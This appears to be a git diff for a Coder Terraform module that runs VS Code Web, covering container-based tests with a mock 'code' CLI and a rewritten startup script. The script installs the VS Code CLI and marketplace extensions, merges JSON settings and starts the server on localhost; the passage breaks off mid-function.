||||
await execContainer(containerId, [
|
||||
"bash",
|
||||
"-c",
|
||||
`mkdir -p /usr/local/bin && cat > /usr/local/bin/code << 'MOCKEOF'
|
||||
#!/bin/bash
|
||||
exit 0
|
||||
MOCKEOF
|
||||
chmod +x /usr/local/bin/code`,
|
||||
]);
|
||||
|
||||
const script = findResourceInstance(state, "coder_script");
|
||||
|
||||
await execContainer(containerId, ["bash", "-c", script.script]);
|
||||
|
||||
// Verify directory structure was created
|
||||
const dirResult = await execContainer(containerId, [
|
||||
"ls",
|
||||
"-la",
|
||||
"/root/.vscode-server/data/Machine/",
|
||||
]);
|
||||
|
||||
expect(dirResult.exitCode).toBe(0);
|
||||
expect(dirResult.stdout).toContain("settings.json");
|
||||
|
||||
// Verify parent directories exist
|
||||
const parentDirResult = await execContainer(containerId, [
|
||||
"ls",
|
||||
"-la",
|
||||
"/root/.vscode-server/data/",
|
||||
]);
|
||||
|
||||
expect(parentDirResult.exitCode).toBe(0);
|
||||
expect(parentDirResult.stdout).toContain("Machine");
|
||||
});
|
||||
|
||||
it("merges settings with existing settings file", async () => {
|
||||
const state = await runTerraformApply(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
accept_license: true,
|
||||
settings: '{"new.setting": "new_value"}',
|
||||
});
|
||||
|
||||
const containerId = await runContainer("ubuntu:22.04");
|
||||
cleanupContainers.push(containerId);
|
||||
|
||||
// Install jq and create mock code CLI
|
||||
await execContainer(containerId, ["apt-get", "update", "-qq"]);
|
||||
await execContainer(containerId, [
|
||||
"apt-get",
|
||||
"install",
|
||||
"-y",
|
||||
"-qq",
|
||||
"jq",
|
||||
]);
|
||||
await execContainer(containerId, [
|
||||
"bash",
|
||||
"-c",
|
||||
`mkdir -p /usr/local/bin && cat > /usr/local/bin/code << 'MOCKEOF'
|
||||
#!/bin/bash
|
||||
exit 0
|
||||
MOCKEOF
|
||||
chmod +x /usr/local/bin/code`,
|
||||
]);
|
||||
|
||||
// Pre-create an existing settings file
|
||||
await execContainer(containerId, [
|
||||
"bash",
|
||||
"-c",
|
||||
`mkdir -p /root/.vscode-server/data/Machine && echo '{"existing.setting": "existing_value"}' > /root/.vscode-server/data/Machine/settings.json`,
|
||||
]);
|
||||
|
||||
const script = findResourceInstance(state, "coder_script");
|
||||
|
||||
await execContainer(containerId, ["bash", "-c", script.script]);
|
||||
|
||||
// Check that settings were merged (both existing and new should be present)
|
||||
const settingsResult = await execContainer(containerId, [
|
||||
"cat",
|
||||
"/root/.vscode-server/data/Machine/settings.json",
|
||||
]);
|
||||
|
||||
expect(settingsResult.exitCode).toBe(0);
|
||||
// Should contain both existing and new settings
|
||||
expect(settingsResult.stdout).toContain("existing.setting");
|
||||
expect(settingsResult.stdout).toContain("existing_value");
|
||||
expect(settingsResult.stdout).toContain("new.setting");
|
||||
expect(settingsResult.stdout).toContain("new_value");
|
||||
});
|
||||
|
||||
it("creates valid JSON settings file", async () => {
|
||||
const settings = {
|
||||
"editor.fontSize": 14,
|
||||
"editor.wordWrap": "on",
|
||||
"files.autoSave": "afterDelay",
|
||||
"files.autoSaveDelay": 1000,
|
||||
};
|
||||
|
||||
const state = await runTerraformApply(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
accept_license: true,
|
||||
settings: JSON.stringify(settings),
|
||||
});
|
||||
|
||||
const containerId = await runContainer("ubuntu:22.04");
|
||||
cleanupContainers.push(containerId);
|
||||
|
||||
// Install jq and create mock code CLI
|
||||
await execContainer(containerId, ["apt-get", "update", "-qq"]);
|
||||
await execContainer(containerId, [
|
||||
"apt-get",
|
||||
"install",
|
||||
"-y",
|
||||
"-qq",
|
||||
"jq",
|
||||
]);
|
||||
await execContainer(containerId, [
|
||||
"bash",
|
||||
"-c",
|
||||
`mkdir -p /usr/local/bin && cat > /usr/local/bin/code << 'MOCKEOF'
|
||||
#!/bin/bash
|
||||
exit 0
|
||||
MOCKEOF
|
||||
chmod +x /usr/local/bin/code`,
|
||||
]);
|
||||
|
||||
const script = findResourceInstance(state, "coder_script");
|
||||
|
||||
await execContainer(containerId, ["bash", "-c", script.script]);
|
||||
|
||||
// Validate JSON using jq
|
||||
const jsonValidResult = await execContainer(containerId, [
|
||||
"bash",
|
||||
"-c",
|
||||
"jq '.' /root/.vscode-server/data/Machine/settings.json",
|
||||
]);
|
||||
|
||||
expect(jsonValidResult.exitCode).toBe(0);
|
||||
|
||||
// Extract specific values using jq
|
||||
const fontSizeResult = await execContainer(containerId, [
|
||||
"bash",
|
||||
"-c",
|
||||
"jq '.\"editor.fontSize\"' /root/.vscode-server/data/Machine/settings.json",
|
||||
]);
|
||||
expect(fontSizeResult.stdout.trim()).toBe("14");
|
||||
|
||||
const wordWrapResult = await execContainer(containerId, [
|
||||
"bash",
|
||||
"-c",
|
||||
"jq '.\"editor.wordWrap\"' /root/.vscode-server/data/Machine/settings.json",
|
||||
]);
|
||||
expect(wordWrapResult.stdout.trim()).toBe('"on"');
|
||||
|
||||
const autoSaveDelayResult = await execContainer(containerId, [
|
||||
"bash",
|
||||
"-c",
|
||||
"jq '.\"files.autoSaveDelay\"' /root/.vscode-server/data/Machine/settings.json",
|
||||
]);
|
||||
expect(autoSaveDelayResult.stdout.trim()).toBe("1000");
|
||||
});
|
||||
|
||||
it("installs extensions", async () => {
|
||||
const state = await runTerraformApply(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
accept_license: true,
|
||||
extensions: '["ms-python.python", "golang.go"]',
|
||||
});
|
||||
|
||||
const containerId = await runContainer("ubuntu:22.04");
|
||||
cleanupContainers.push(containerId);
|
||||
|
||||
// Create a mock code CLI that logs extension installs
|
||||
await execContainer(containerId, [
|
||||
"bash",
|
||||
"-c",
|
||||
`mkdir -p /usr/local/bin && cat > /usr/local/bin/code << 'MOCKEOF'
|
||||
#!/bin/bash
|
||||
if [ "\$1" = "--install-extension" ]; then
|
||||
echo "MOCK_EXTENSION_INSTALL: \$2"
|
||||
fi
|
||||
exit 0
|
||||
MOCKEOF
|
||||
chmod +x /usr/local/bin/code`,
|
||||
]);
|
||||
|
||||
const script = findResourceInstance(state, "coder_script");
|
||||
|
||||
const result = await execContainer(containerId, [
|
||||
"bash",
|
||||
"-c",
|
||||
script.script,
|
||||
]);
|
||||
|
||||
expect(result.exitCode).toBe(0);
|
||||
expect(result.stdout).toContain("Installing extension");
|
||||
expect(result.stdout).toContain("ms-python.python");
|
||||
expect(result.stdout).toContain("golang.go");
|
||||
});
|
||||
|
||||
it("runs with correct server arguments", async () => {
|
||||
const state = await runTerraformApply(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
accept_license: true,
|
||||
port: 9999,
|
||||
telemetry_level: "off",
|
||||
});
|
||||
|
||||
const containerId = await runContainer("ubuntu:22.04");
|
||||
cleanupContainers.push(containerId);
|
||||
|
||||
// Create a mock code CLI that captures all arguments
|
||||
await execContainer(containerId, [
|
||||
"bash",
|
||||
"-c",
|
||||
`mkdir -p /usr/local/bin && cat > /usr/local/bin/code << 'MOCKEOF'
|
||||
#!/bin/bash
|
||||
echo "MOCK_CODE_ARGS: \$@"
|
||||
exit 0
|
||||
MOCKEOF
|
||||
chmod +x /usr/local/bin/code`,
|
||||
]);
|
||||
|
||||
const script = findResourceInstance(state, "coder_script");
|
||||
|
||||
const result = await execContainer(containerId, [
|
||||
"bash",
|
||||
"-c",
|
||||
script.script,
|
||||
]);
|
||||
|
||||
expect(result.exitCode).toBe(0);
|
||||
// Check the output contains expected port message
|
||||
expect(result.stdout).toContain("Starting VS Code Web on port 9999");
|
||||
});
|
||||
|
||||
it("passes commit-id to code CLI when specified", async () => {
|
||||
const state = await runTerraformApply(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
accept_license: true,
|
||||
commit_id: "abc123def456",
|
||||
});
|
||||
|
||||
const containerId = await runContainer("ubuntu:22.04");
|
||||
cleanupContainers.push(containerId);
|
||||
|
||||
// Create a mock code CLI that logs arguments to the log file (where output is redirected)
|
||||
await execContainer(containerId, [
|
||||
"bash",
|
||||
"-c",
|
||||
`mkdir -p /usr/local/bin && cat > /usr/local/bin/code << 'MOCKEOF'
|
||||
#!/bin/bash
|
||||
echo "MOCK_CODE_ARGS: $@"
|
||||
exit 0
|
||||
MOCKEOF
|
||||
chmod +x /usr/local/bin/code`,
|
||||
]);
|
||||
|
||||
const script = findResourceInstance(state, "coder_script");
|
||||
|
||||
await execContainer(containerId, ["bash", "-c", script.script]);
|
||||
|
||||
// Wait briefly for background process to write to log
|
||||
await new Promise((resolve) => setTimeout(resolve, 500));
|
||||
|
||||
// Check the log file for the arguments (code CLI output goes there)
|
||||
const logResult = await execContainer(containerId, [
|
||||
"cat",
|
||||
"/tmp/vscode-web.log",
|
||||
]);
|
||||
|
||||
expect(logResult.exitCode).toBe(0);
|
||||
expect(logResult.stdout).toContain("--commit-id abc123def456");
|
||||
});
|
||||
|
||||
// This test downloads and starts the real VS Code server
|
||||
it("starts real VS Code CLI and responds to healthcheck (requires network)", async () => {
|
||||
const state = await runTerraformApply(import.meta.dir, {
|
||||
agent_id: "foo",
|
||||
accept_license: true,
|
||||
port: 13338,
|
||||
install_prefix: "/tmp/vscode-web",
|
||||
});
|
||||
|
||||
const containerId = await runContainer("ubuntu:22.04");
|
||||
cleanupContainers.push(containerId);
|
||||
|
||||
// Install curl for downloading CLI and healthcheck
|
||||
await execContainer(containerId, ["apt-get", "update", "-qq"]);
|
||||
await execContainer(containerId, [
|
||||
"apt-get",
|
||||
"install",
|
||||
"-y",
|
||||
"-qq",
|
||||
"curl",
|
||||
]);
|
||||
|
||||
const script = findResourceInstance(state, "coder_script");
|
||||
|
||||
// Run the script - it will start the server in background
|
||||
const startResult = await execContainer(containerId, [
|
||||
"bash",
|
||||
"-c",
|
||||
script.script,
|
||||
]);
|
||||
|
||||
expect(startResult.exitCode).toBe(0);
|
||||
expect(startResult.stdout).toContain("Starting VS Code Web");
|
||||
|
||||
// Wait for server to start and check healthcheck
|
||||
await new Promise((resolve) => setTimeout(resolve, 10000));
|
||||
|
||||
const healthResult = await execContainer(containerId, [
|
||||
"curl",
|
||||
"-s",
|
||||
"-o",
|
||||
"/dev/null",
|
||||
"-w",
|
||||
"%{http_code}",
|
||||
"http://127.0.0.1:13338/healthz",
|
||||
]);
|
||||
|
||||
// Server should respond (200, 202, or 404 is acceptable - means server is running)
|
||||
expect(["200", "202", "404"]).toContain(healthResult.stdout.trim());
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
@@ -59,12 +59,6 @@ variable "install_prefix" {
|
||||
default = "/tmp/vscode-web"
|
||||
}
|
||||
|
||||
variable "commit_id" {
|
||||
type = string
|
||||
description = "Specify the commit ID of the VS Code Web binary to pin to a specific version. If left empty, the latest stable version is used."
|
||||
default = ""
|
||||
}
|
||||
|
||||
variable "extensions" {
|
||||
type = list(string)
|
||||
description = "A list of extensions to install."
|
||||
@@ -105,7 +99,7 @@ variable "group" {
|
||||
|
||||
variable "settings" {
|
||||
type = any
|
||||
description = "A map of settings to apply to VS Code web."
|
||||
description = "A map of settings to apply to VS Code Web's Machine settings. These settings are merged with any existing machine settings on startup."
|
||||
default = {}
|
||||
}
|
||||
|
||||
@@ -148,25 +142,35 @@ variable "subdomain" {
|
||||
default = true
|
||||
}
|
||||
|
||||
variable "platform" {
|
||||
type = string
|
||||
description = "The platform to use for the VS Code Web."
|
||||
default = ""
|
||||
validation {
|
||||
condition = var.platform == "" || var.platform == "linux" || var.platform == "darwin" || var.platform == "alpine" || var.platform == "win32"
|
||||
error_message = "Incorrect value. Please set either 'linux', 'darwin', or 'alpine' or 'win32'."
|
||||
}
|
||||
}
|
||||
|
||||
variable "workspace" {
|
||||
type = string
|
||||
description = "Path to a .code-workspace file to open in vscode-web."
|
||||
default = ""
|
||||
}
|
||||
|
||||
variable "release_channel" {
|
||||
type = string
|
||||
description = "The release channel for VS Code CLI (stable or insiders)."
|
||||
default = "stable"
|
||||
validation {
|
||||
condition = var.release_channel == "stable" || var.release_channel == "insiders"
|
||||
error_message = "Incorrect value. Please set either 'stable' or 'insiders'."
|
||||
}
|
||||
}
|
||||
|
||||
variable "commit_id" {
|
||||
type = string
|
||||
description = "The commit SHA to use for the VS Code Server. Leave empty to use the latest version."
|
||||
default = ""
|
||||
}
|
||||
|
||||
data "coder_workspace_owner" "me" {}
|
||||
data "coder_workspace" "me" {}
|
||||
|
||||
locals {
|
||||
settings_b64 = var.settings != {} ? base64encode(jsonencode(var.settings)) : ""
|
||||
}
|
||||
|
||||
resource "coder_script" "vscode-web" {
|
||||
agent_id = var.agent_id
|
||||
display_name = "VS Code Web"
|
||||
@@ -177,8 +181,7 @@ resource "coder_script" "vscode-web" {
|
||||
INSTALL_PREFIX : var.install_prefix,
|
||||
EXTENSIONS : join(",", var.extensions),
|
||||
TELEMETRY_LEVEL : var.telemetry_level,
|
||||
// This is necessary otherwise the quotes are stripped!
|
||||
SETTINGS : replace(jsonencode(var.settings), "\"", "\\\""),
|
||||
SETTINGS_B64 : local.settings_b64,
|
||||
OFFLINE : var.offline,
|
||||
USE_CACHED : var.use_cached,
|
||||
DISABLE_TRUST : var.disable_trust,
|
||||
@@ -187,8 +190,8 @@ resource "coder_script" "vscode-web" {
|
||||
WORKSPACE : var.workspace,
|
||||
AUTO_INSTALL_EXTENSIONS : var.auto_install_extensions,
|
||||
SERVER_BASE_PATH : local.server_base_path,
|
||||
RELEASE_CHANNEL : var.release_channel,
|
||||
COMMIT_ID : var.commit_id,
|
||||
PLATFORM : var.platform,
|
||||
})
|
||||
run_on_start = true
|
||||
|
||||
|
||||
@@ -1,138 +1,417 @@
|
||||
#!/usr/bin/env bash
|
||||
|
||||
BOLD='\033[0;1m'
|
||||
RESET='\033[0m'
|
||||
CODE='\033[36;40;1m'
|
||||
EXTENSIONS=("${EXTENSIONS}")
|
||||
VSCODE_WEB="${INSTALL_PREFIX}/bin/code-server"
|
||||
|
||||
# Set extension directory
|
||||
# Merge settings from module with existing settings file
|
||||
# Uses jq if available, falls back to Python3 for deep merge
|
||||
merge_settings() {
|
||||
local new_settings="$1"
|
||||
local settings_file="$2"
|
||||
|
||||
if [ -z "$new_settings" ] || [ "$new_settings" = "{}" ]; then
|
||||
return 0
|
||||
fi
|
||||
|
||||
if [ ! -f "$settings_file" ]; then
|
||||
mkdir -p "$(dirname "$settings_file")"
|
||||
printf '%s\n' "$new_settings" > "$settings_file"
|
||||
printf "Creating settings file...\n"
|
||||
return 0
|
||||
fi
|
||||
|
||||
local tmpfile
|
||||
tmpfile="$(mktemp)"
|
||||
|
||||
if command -v jq > /dev/null 2>&1; then
|
||||
if jq -s '.[0] * .[1]' "$settings_file" <(printf '%s\n' "$new_settings") > "$tmpfile" 2> /dev/null; then
|
||||
mv "$tmpfile" "$settings_file"
|
||||
printf "Merging settings...\n"
|
||||
return 0
|
||||
fi
|
||||
fi
|
||||
|
||||
if command -v python3 > /dev/null 2>&1; then
|
||||
if python3 -c "import json,sys;m=lambda a,b:{**a,**{k:m(a[k],v)if k in a and type(a[k])==type(v)==dict else v for k,v in b.items()}};print(json.dumps(m(json.load(open(sys.argv[1])),json.loads(sys.argv[2])),indent=2))" "$settings_file" "$new_settings" > "$tmpfile" 2> /dev/null; then
|
||||
mv "$tmpfile" "$settings_file"
|
||||
printf "Merging settings...\n"
|
||||
return 0
|
||||
fi
|
||||
fi
|
||||
|
||||
rm -f "$tmpfile"
|
||||
printf "Warning: Could not merge settings. Keeping existing settings.\n"
|
||||
return 0
|
||||
}
|
||||
|
||||
# Set extension directory argument
|
||||
EXTENSION_ARG=""
|
||||
if [ -n "${EXTENSIONS_DIR}" ]; then
|
||||
EXTENSION_ARG="--extensions-dir=${EXTENSIONS_DIR}"
|
||||
fi
|
||||
|
||||
# Set extension directory
|
||||
# Set server base path argument
|
||||
SERVER_BASE_PATH_ARG=""
|
||||
if [ -n "${SERVER_BASE_PATH}" ]; then
|
||||
SERVER_BASE_PATH_ARG="--server-base-path=${SERVER_BASE_PATH}"
|
||||
fi
|
||||
|
||||
# Set disable workspace trust
|
||||
# Set disable workspace trust argument
|
||||
DISABLE_TRUST_ARG=""
|
||||
if [ "${DISABLE_TRUST}" = true ]; then
|
||||
DISABLE_TRUST_ARG="--disable-workspace-trust"
|
||||
fi
|
||||
|
||||
run_vscode_web() {
|
||||
echo "👷 Running $VSCODE_WEB serve-local $EXTENSION_ARG $SERVER_BASE_PATH_ARG $DISABLE_TRUST_ARG --port ${PORT} --host 127.0.0.1 --accept-server-license-terms --without-connection-token --telemetry-level ${TELEMETRY_LEVEL} in the background..."
|
||||
echo "Check logs at ${LOG_PATH}!"
|
||||
"$VSCODE_WEB" serve-local "$EXTENSION_ARG" "$SERVER_BASE_PATH_ARG" "$DISABLE_TRUST_ARG" --port "${PORT}" --host 127.0.0.1 --accept-server-license-terms --without-connection-token --telemetry-level "${TELEMETRY_LEVEL}" > "${LOG_PATH}" 2>&1 &
|
||||
# Check if code CLI is installed
|
||||
check_code_cli() {
|
||||
if command -v code > /dev/null 2>&1; then
|
||||
echo "code"
|
||||
return 0
|
||||
fi
|
||||
if [ -f "${INSTALL_PREFIX}/bin/code" ]; then
|
||||
echo "${INSTALL_PREFIX}/bin/code"
|
||||
return 0
|
||||
fi
|
||||
return 1
|
||||
}
|
||||
|
||||
# Check if the settings file exists...
|
||||
if [ ! -f ~/.vscode-server/data/Machine/settings.json ]; then
|
||||
echo "⚙️ Creating settings file..."
|
||||
mkdir -p ~/.vscode-server/data/Machine
|
||||
echo "${SETTINGS}" > ~/.vscode-server/data/Machine/settings.json
|
||||
fi
|
||||
|
||||
# Check if vscode-server is already installed for offline or cached mode
|
||||
if [ -f "$VSCODE_WEB" ]; then
|
||||
if [ "${OFFLINE}" = true ] || [ "${USE_CACHED}" = true ]; then
|
||||
echo "🥳 Found a copy of VS Code Web"
|
||||
run_vscode_web
|
||||
exit 0
|
||||
# Check if code-server is installed (fallback option)
|
||||
check_code_server() {
|
||||
if command -v code-server > /dev/null 2>&1; then
|
||||
echo "code-server"
|
||||
return 0
|
||||
fi
|
||||
fi
|
||||
# Offline mode always expects a copy of vscode-server to be present
|
||||
if [ "${OFFLINE}" = true ]; then
|
||||
echo "Failed to find a copy of VS Code Web"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Create install prefix
|
||||
mkdir -p ${INSTALL_PREFIX}
|
||||
|
||||
printf "$${BOLD}Installing Microsoft Visual Studio Code Server!\n"
|
||||
|
||||
# Download and extract vscode-server
|
||||
ARCH=$(uname -m)
|
||||
case "$ARCH" in
|
||||
x86_64) ARCH="x64" ;;
|
||||
aarch64) ARCH="arm64" ;;
|
||||
*)
|
||||
echo "Unsupported architecture"
|
||||
exit 1
|
||||
;;
|
||||
esac
|
||||
|
||||
# Detect the platform
|
||||
if [ -n "${PLATFORM}" ]; then
|
||||
DETECTED_PLATFORM="${PLATFORM}"
|
||||
elif [ -f /etc/alpine-release ] || grep -qi 'ID=alpine' /etc/os-release 2> /dev/null || command -v apk > /dev/null 2>&1; then
|
||||
DETECTED_PLATFORM="alpine"
|
||||
elif [ "$(uname -s)" = "Darwin" ]; then
|
||||
DETECTED_PLATFORM="darwin"
|
||||
else
|
||||
DETECTED_PLATFORM="linux"
|
||||
fi
|
||||
|
||||
# Check if a specific VS Code Web commit ID was provided
|
||||
if [ -n "${COMMIT_ID}" ]; then
|
||||
HASH="${COMMIT_ID}"
|
||||
else
|
||||
HASH=$(curl -fsSL https://update.code.visualstudio.com/api/commits/stable/server-$DETECTED_PLATFORM-$ARCH-web | cut -d '"' -f 2)
|
||||
fi
|
||||
printf "$${BOLD}VS Code Web commit id version $HASH.\n"
|
||||
|
||||
output=$(curl -fsSL "https://vscode.download.prss.microsoft.com/dbazure/download/stable/$HASH/vscode-server-$DETECTED_PLATFORM-$ARCH-web.tar.gz" | tar -xz -C "${INSTALL_PREFIX}" --strip-components 1)
|
||||
|
||||
if [ $? -ne 0 ]; then
|
||||
echo "Failed to install Microsoft Visual Studio Code Server: $output"
|
||||
exit 1
|
||||
fi
|
||||
printf "$${BOLD}VS Code Web has been installed.\n"
|
||||
|
||||
# Install each extension...
|
||||
IFS=',' read -r -a EXTENSIONLIST <<< "$${EXTENSIONS}"
|
||||
# shellcheck disable=SC2066
|
||||
for extension in "$${EXTENSIONLIST[@]}"; do
|
||||
if [ -z "$extension" ]; then
|
||||
continue
|
||||
if [ -f "${INSTALL_PREFIX}/bin/code-server" ]; then
|
||||
echo "${INSTALL_PREFIX}/bin/code-server"
|
||||
return 0
|
||||
fi
|
||||
printf "🧩 Installing extension $${CODE}$extension$${RESET}...\n"
|
||||
output=$($VSCODE_WEB "$EXTENSION_ARG" --install-extension "$extension" --force)
|
||||
if [ $? -ne 0 ]; then
|
||||
echo "Failed to install extension: $extension: $output"
|
||||
fi
|
||||
done
|
||||
return 1
|
||||
}
|
||||
|
||||
if [ "${AUTO_INSTALL_EXTENSIONS}" = true ]; then
|
||||
if ! command -v jq > /dev/null; then
|
||||
echo "jq is required to install extensions from a workspace file."
|
||||
else
|
||||
# Prefer WORKSPACE if set and points to a file
|
||||
if [ -n "${WORKSPACE}" ] && [ -f "${WORKSPACE}" ]; then
|
||||
printf "🧩 Installing extensions from %s...\n" "${WORKSPACE}"
|
||||
# Strip single-line comments then parse .extensions.recommendations[]
|
||||
extensions=$(sed 's|//.*||g' "${WORKSPACE}" | jq -r '(.extensions.recommendations // [])[]')
|
||||
for extension in $extensions; do
|
||||
$VSCODE_WEB "$EXTENSION_ARG" --install-extension "$extension" --force
|
||||
done
|
||||
else
|
||||
# Fallback to folder-based .vscode/extensions.json (existing behavior)
|
||||
WORKSPACE_DIR="$HOME"
|
||||
if [ -n "${FOLDER}" ]; then
|
||||
WORKSPACE_DIR="${FOLDER}"
|
||||
# Find existing vscode-server binary (used by code serve-web internally)
|
||||
find_vscode_server() {
|
||||
# Check common locations for pre-downloaded vscode-server
|
||||
local server_dirs=(
|
||||
"$HOME/.vscode-server/bin"
|
||||
"$HOME/.vscode/cli/serve-web"
|
||||
)
|
||||
for dir in "$${server_dirs[@]}"; do
|
||||
if [ -d "$dir" ]; then
|
||||
# Find the most recent server version
|
||||
local latest
|
||||
latest=$(ls -t "$dir" 2> /dev/null | head -1)
|
||||
if [ -n "$latest" ] && [ -f "$dir/$latest/bin/code-server" ]; then
|
||||
echo "$dir/$latest/bin/code-server"
|
||||
return 0
|
||||
fi
|
||||
if [ -f "$WORKSPACE_DIR/.vscode/extensions.json" ]; then
|
||||
printf "🧩 Installing extensions from %s/.vscode/extensions.json...\n" "$WORKSPACE_DIR"
|
||||
extensions=$(sed 's|//.*||g' "$WORKSPACE_DIR/.vscode/extensions.json" | jq -r '.recommendations[]')
|
||||
if [ -n "$latest" ] && [ -f "$dir/$latest/code-server" ]; then
|
||||
echo "$dir/$latest/code-server"
|
||||
return 0
|
||||
fi
|
||||
fi
|
||||
done
|
||||
return 1
|
||||
}
|
||||
|
||||
# Install VS Code CLI if not present
|
||||
install_code_cli() {
|
||||
printf "$${BOLD}Installing VS Code CLI...$${RESET}\n"
|
||||
|
||||
# Detect architecture
|
||||
ARCH=$(uname -m)
|
||||
case "$ARCH" in
|
||||
x86_64) ARCH="x64" ;;
|
||||
aarch64 | arm64) ARCH="arm64" ;;
|
||||
armv7l) ARCH="armhf" ;;
|
||||
*)
|
||||
echo "Unsupported architecture: $ARCH"
|
||||
exit 1
|
||||
;;
|
||||
esac
|
||||
|
||||
# Detect platform
|
||||
# Note: VS Code CLI uses 'alpine' for all Linux distributions
|
||||
PLATFORM=$(uname -s)
|
||||
case "$PLATFORM" in
|
||||
Linux)
|
||||
PLATFORM="alpine"
|
||||
;;
|
||||
Darwin)
|
||||
PLATFORM="darwin"
|
||||
;;
|
||||
*)
|
||||
echo "Unsupported platform: $PLATFORM"
|
||||
exit 1
|
||||
;;
|
||||
esac
|
||||
|
||||
# Create install directory
|
||||
mkdir -p "${INSTALL_PREFIX}/bin"
|
||||
|
||||
# Download VS Code CLI
|
||||
CLI_URL="https://code.visualstudio.com/sha/download?build=${RELEASE_CHANNEL}&os=cli-$PLATFORM-$ARCH"
|
||||
printf "Downloading VS Code CLI from %s\n" "$CLI_URL"
|
||||
|
||||
if command -v curl > /dev/null 2>&1; then
|
||||
curl -fsSL "$CLI_URL" -o "/tmp/vscode-cli.tar.gz"
|
||||
elif command -v wget > /dev/null 2>&1; then
|
||||
wget -q "$CLI_URL" -O "/tmp/vscode-cli.tar.gz"
|
||||
else
|
||||
echo "Neither curl nor wget is available. Please install one of them."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Extract CLI
|
||||
tar -xzf /tmp/vscode-cli.tar.gz -C "${INSTALL_PREFIX}/bin"
|
||||
rm -f /tmp/vscode-cli.tar.gz
|
||||
|
||||
# The CLI binary is named 'code'
|
||||
if [ -f "${INSTALL_PREFIX}/bin/code" ]; then
|
||||
chmod +x "${INSTALL_PREFIX}/bin/code"
|
||||
export PATH="${INSTALL_PREFIX}/bin:$PATH"
|
||||
printf "$${BOLD}VS Code CLI installed successfully.$${RESET}\n"
|
||||
else
|
||||
echo "Failed to install VS Code CLI"
|
||||
exit 1
|
||||
fi
|
||||
}
|
||||
|
||||
# Run VS Code Web using the code CLI (serve-web command)
|
||||
run_vscode_web_cli() {
|
||||
local CODE_CMD="$1"
|
||||
|
||||
# Build the command arguments
|
||||
ARGS="serve-web --port ${PORT} --host 127.0.0.1 --accept-server-license-terms --without-connection-token --telemetry-level ${TELEMETRY_LEVEL}"
|
||||
|
||||
if [ -n "$EXTENSION_ARG" ]; then
|
||||
ARGS="$ARGS $EXTENSION_ARG"
|
||||
fi
|
||||
|
||||
if [ -n "$SERVER_BASE_PATH_ARG" ]; then
|
||||
ARGS="$ARGS $SERVER_BASE_PATH_ARG"
|
||||
fi
|
||||
|
||||
if [ -n "$DISABLE_TRUST_ARG" ]; then
|
||||
ARGS="$ARGS $DISABLE_TRUST_ARG"
|
||||
fi
|
||||
|
||||
if [ -n "${COMMIT_ID}" ]; then
|
||||
ARGS="$ARGS --commit-id ${COMMIT_ID}"
|
||||
fi
|
||||
|
||||
printf "Starting VS Code Web on port ${PORT}...\n"
|
||||
printf "Check logs at ${LOG_PATH}\n"
|
||||
|
||||
# shellcheck disable=SC2086
|
||||
"$CODE_CMD" $ARGS > "${LOG_PATH}" 2>&1 &
|
||||
}
|
||||
|
||||
# Run VS Code Web using code-server (fallback for offline mode)
|
||||
run_code_server() {
|
||||
local SERVER_CMD="$1"
|
||||
|
||||
printf "Starting code-server on port ${PORT}...\n"
|
||||
printf "Check logs at ${LOG_PATH}\n"
|
||||
|
||||
# Build arguments for code-server
|
||||
ARGS="--port ${PORT} --host 127.0.0.1 --auth none"
|
||||
|
||||
if [ -n "$EXTENSION_ARG" ]; then
|
||||
ARGS="$ARGS $EXTENSION_ARG"
|
||||
fi
|
||||
|
||||
# shellcheck disable=SC2086
|
||||
"$SERVER_CMD" $ARGS > "${LOG_PATH}" 2>&1 &
|
||||
}
|
||||
|
||||
# Run VS Code Web using vscode-server binary directly
|
||||
run_vscode_server() {
|
||||
local SERVER_CMD="$1"
|
||||
|
||||
printf "Starting VS Code Server on port ${PORT}...\n"
|
||||
printf "Check logs at ${LOG_PATH}\n"
|
||||
|
||||
# Build arguments for vscode-server
|
||||
ARGS="--port ${PORT} --host 127.0.0.1 --without-connection-token --accept-server-license-terms --telemetry-level ${TELEMETRY_LEVEL}"
|
||||
|
||||
if [ -n "$EXTENSION_ARG" ]; then
|
||||
ARGS="$ARGS $EXTENSION_ARG"
|
||||
fi
|
||||
|
||||
if [ -n "$SERVER_BASE_PATH_ARG" ]; then
|
||||
ARGS="$ARGS $SERVER_BASE_PATH_ARG"
|
||||
fi
|
||||
|
||||
# shellcheck disable=SC2086
|
||||
"$SERVER_CMD" serve-local $ARGS > "${LOG_PATH}" 2>&1 &
|
||||
}
|
||||
|
||||
# Install a single extension by downloading VSIX from marketplace
|
||||
install_extension_vsix() {
|
||||
local ext_id="$1"
|
||||
local publisher
|
||||
local ext_name
|
||||
publisher="$${ext_id%%.*}"
|
||||
ext_name="$${ext_id#*.}"
|
||||
|
||||
# Download VSIX from marketplace
|
||||
local vsix_url="https://$publisher.gallery.vsassets.io/_apis/public/gallery/publisher/$publisher/extension/$ext_name/latest/assetbyname/Microsoft.VisualStudio.Services.VSIXPackage"
|
||||
local tmp_vsix="/tmp/ext-$ext_id.vsix"
|
||||
local tmp_dir="/tmp/ext-$ext_id"
|
||||
|
||||
if command -v curl > /dev/null 2>&1; then
|
||||
curl -fsSL "$vsix_url" -o "$tmp_vsix" 2> /dev/null
|
||||
elif command -v wget > /dev/null 2>&1; then
|
||||
wget -q "$vsix_url" -O "$tmp_vsix" 2> /dev/null
|
||||
else
|
||||
echo "Failed to install extension $ext_id: neither curl nor wget available"
|
||||
return 1
|
||||
fi
|
||||
|
||||
if [ ! -f "$tmp_vsix" ]; then
|
||||
echo "Failed to download extension: $ext_id"
|
||||
return 1
|
||||
fi
|
||||
|
||||
# Extract VSIX (it's a ZIP file)
|
||||
rm -rf "$tmp_dir"
|
||||
mkdir -p "$tmp_dir"
|
||||
if ! unzip -q "$tmp_vsix" -d "$tmp_dir" 2> /dev/null; then
|
||||
echo "Failed to extract extension: $ext_id"
|
||||
rm -f "$tmp_vsix"
|
||||
return 1
|
||||
fi
|
||||
|
||||
# Get version from package.json
|
||||
local version=""
|
||||
if [ -f "$tmp_dir/extension/package.json" ]; then
|
||||
version=$(grep -o '"version"[[:space:]]*:[[:space:]]*"[^"]*"' "$tmp_dir/extension/package.json" | head -1 | cut -d'"' -f4)
|
||||
fi
|
||||
if [ -z "$version" ]; then
|
||||
